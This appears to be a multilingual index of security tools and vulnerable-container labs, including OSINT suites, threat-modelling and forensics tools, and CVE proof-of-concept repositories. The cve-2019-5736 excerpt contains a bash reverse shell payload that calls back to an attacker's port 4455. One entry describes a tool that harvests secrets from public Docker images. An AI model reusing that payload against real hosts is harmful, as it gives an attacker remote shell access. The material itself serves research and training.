osint_toolkit

OSINT Toolkit تحذير OSINT Toolkit ليست جاهزة للإنتاج بعد. هذه نسخة أولية مبكرة لا تزال بحاجة إلى بعض العمل. تطبيق ويب كامل التقنيات مبني لمحللي الأمن OSINT Toolkit هي منصة تحليل عند الطلب قابلة للاستضافة الذاتية، مصممة لمتخصصي الأمن. تقوم بتجميع أدوات أمنية متنوعة في بيئة واحدة سهلة الاستخدام، مم...

cve-2019-5736-poc

الرؤوس المطلوب إضافتها stage2.c bash include bash include تعديل IP الخاص بجهاز المهاجم stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; إنشاء صورة Docker والحاوية root@kitploit: $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp...

cve-2018-9208

CVE-2018-9208 これはCvedの一部です: 脆弱なDockerコンテナを管理するツールです。 Cved: https://github.com/git-rep-src/cved イメージソース: https://github.com/cved-sources/cve-2018-9208 イメージ作者: https://github.com/lcashdol/Exploits/tree/master/CVE-2018-9208...

cve-2018-16283

CVE-2018-16283 これは Cved の一部です: 脆弱な docker コンテナを管理するツール。 Cved: https://github.com/git-rep-src/cved イメージソース: https://github.com/cved-sources/cve-2018-16283 イメージ作者: https://github.com/cved-sources/cve-2018-16283...

threagile

Threagile 애자일 위협 모델링 툴킷 Threagile 자세한 내용은 threagile.io 참조는 애자일 위협 모델링을 위한 오픈 소스 툴킷입니다: IDE 내에서 직접 YAML 파일로 애자일 방식으로 아키텍처와 자산을 모델링할 수 있습니다. Threagile 툴킷을 실행하면 모든 표준 위험 규칙그리고 개별 사용자 정의 규칙이 있는 경우 포함이 아키텍처 모델에 대해 검사됩니다. 모델 스키마에 대한 자세한 정보는 여기에서 확인할 수 있습니다. 이 도구는 다양한 명령어를 제공하며, 플래그와 설정을 통해 높은 수준의 구성을...

NextJS-CVE-2025-29927-Docker-Lab

🚨 NextJS-CVE-2025-29927-Docker-Lab このリポジトリは、制御された環境で Next.js CVE-2025-29927 の脆弱性を調査およびデモンストレーションするための Dockerベースのラボ 環境を含んでいます。 ⚠️ 免責事項: このラボは教育およびセキュリティ研究目的のみに使用されます。パブリックインターネットに公開したり、本番環境で使用したりしないでください。 📦 特徴 ✅ 脆弱なNext.jsアプリケーション ✅ Dockerでコンテナ化 ✅ CVE-2025-29927のローカルテスト用に設計 ✅ 事前設定済みのルートとUIを含む ✅...

CVE-2018-16167

インストールと実行手順 0. LogonTracerのインストール 脆弱性が発見されたv1.2.0のLogonTracerをDockerHubからダウンロードします。 root@kitploit: $docker pull jpcertcc/docker-logontracer:v1.2.0 1. LogonTracerの実行 次のコマンドでコンテナを起動します。 root@kitploit: $docker run \ --detach \ --publish=7474:7474 --publish=7687:7687 --publish=8080:8080 \ -e...

cve-2016-6515

CVE-2016-6515 これは Cved の一部です: 脆弱な Docker コンテナを管理するツール。 Cved: https://github.com/git-rep-src/cved 画像ソース: https://github.com/cved-sources/cve-2016-6515 画像作成者: https://github.com/opsxcq/exploit-CVE-2016-6515...

Malcolm

Malcolm Malcolm is a powerful network traffic analysis tool suite designed with the following goals in mind: Easy to use – Malcolm accepts network traffic data in the form of full packet capture PCAP files, Zeek logs, and Suricata alerts. These artifacts can be uploaded via a simple browser-based...

CVE-2022-42889-Text4Shell-Docker

CVE-2022-42889-Text4Shell-Docker PoC dockerisé pour CVE-2022-42889 Text4Shell...

SecureCodingDojo

सुरक्षित कोडिंग डोजो के बारे में सुरक्षित कोडिंग डोजो सुरक्षित कोडिंग प्रशिक्षण देने के लिए एक प्लेटफॉर्म है। हालांकि इसके साथ अपना स्वयं का कमजोर प्रशिक्षण एप्लिकेशन Insecure.Inc वेबसाइट आता है, प्रशिक्षण पोर्टल का उपयोग अन्य प्रशिक्षण एप्लिकेशनों के साथ भी किया जा सकता है। प्लेटफॉर्म की ताकत इस...

docker-tor-hiddenservice-nginx

إنشاء وتشغيل خدمات مخفية بسهولة قم بتشغيل خدمة مخفية داخل شبكة Tor بسهولة باستخدام هذه الحاوية قم بإنشاء التكوين الأساسي لخدمتك المخفية، واستبدل باسم نمط خدمتك المخفية. على سبيل المثال، إذا كنت تريد أن تحتوي خدمتك المخفية على كلمة 'boss'، فاستخدم هذه الكلمة كوسيط. يمكنك استخدام التعبيرات العادية،...

DockerSpy

DockerSpy DockerSpy cerca immagini su Docker Hub ed estrae informazioni sensibili come segreti di autenticazione, chiavi private e altro. Cos'è Docker? Docker è una piattaforma open-source che automatizza la distribuzione, il ridimensionamento e la gestione delle applicazioni utilizzando la...

RAUDI

🐳 RAUDI: Regelmäßig und automatisch aktualisierte Docker-Images RAUDI Regularly and Automatically Updated Docker Images erstellt und aktualisiert automatisch eine Reihe von Docker-Images über GitHub Actions für Tools, die nicht von den Entwicklern bereitgestellt werden. Inhaltsverzeichnis Was ist...

BugBountyScanner

BugBountyScanner Uno script Bash e un'immagine Docker per la ricognizione nel Bug Bounty, pensati per l'uso headless. Leggeri sulle risorse, ricchi di informazioni. Utile? BugBountyScanner ti ha aiutato a ottenere una bounty? Descrizione ⚠ Nota: Si consiglia vivamente di eseguire lo script tramit...

Sitadel

Sitadel - Scanner de Segurança de Aplicações Web root@kitploit: | || || | / | | | | | | | | | | || | | | \ | | |/ | | | | || | | | |/ | | | | | | /|| ||\ O Sitadel é basicamente uma atualização do WAScan, tornando-o compatível com Python = 3.11. Ele permite mais flexibilidade para você escrever...

iKy

Descrizione | Installazione | Sito web | Moduli | Problemi | Supporto iKy Descrizione iKy è uno strumento OSINT che raccoglie informazioni da un indirizzo email o altri selettori e mostra i risultati in un'interfaccia visiva. aggiornamento in sospeso: riflette il frontend precedente Video...

007-TheBond

007-TheBond 🕵️‍♂️ Un potente strumento OSINT Open Source Intelligence basato su Python per raccogliere informazioni attraverso più piattaforme e servizi. 007-TheBond aiuta ricercatori di sicurezza, investigatori e hacker etici a raccogliere informazioni pubblicamente disponibili da varie fonti, tra...

uac

Unix-like Artifacts Collector UAC About • Documentation • Main Features • Supported Operating Systems • Usage • Contributing • Support • License 🔎 About UAC UAC Unix-like Artifacts Collector is a powerful and extensible incident response tool designed for forensic investigators, security analysts...

log4jtest

Introduzione Questo repository è configurato per testare rapidamente la vulnerabilità log4j utilizzando Docker e Hashicorp Terraform. Tutti i componenti di questo test verranno eseguiti in container Docker sulla rete Docker, accessibili tramite 'host.docker.internal'. Crediti / Disclaimer Questo...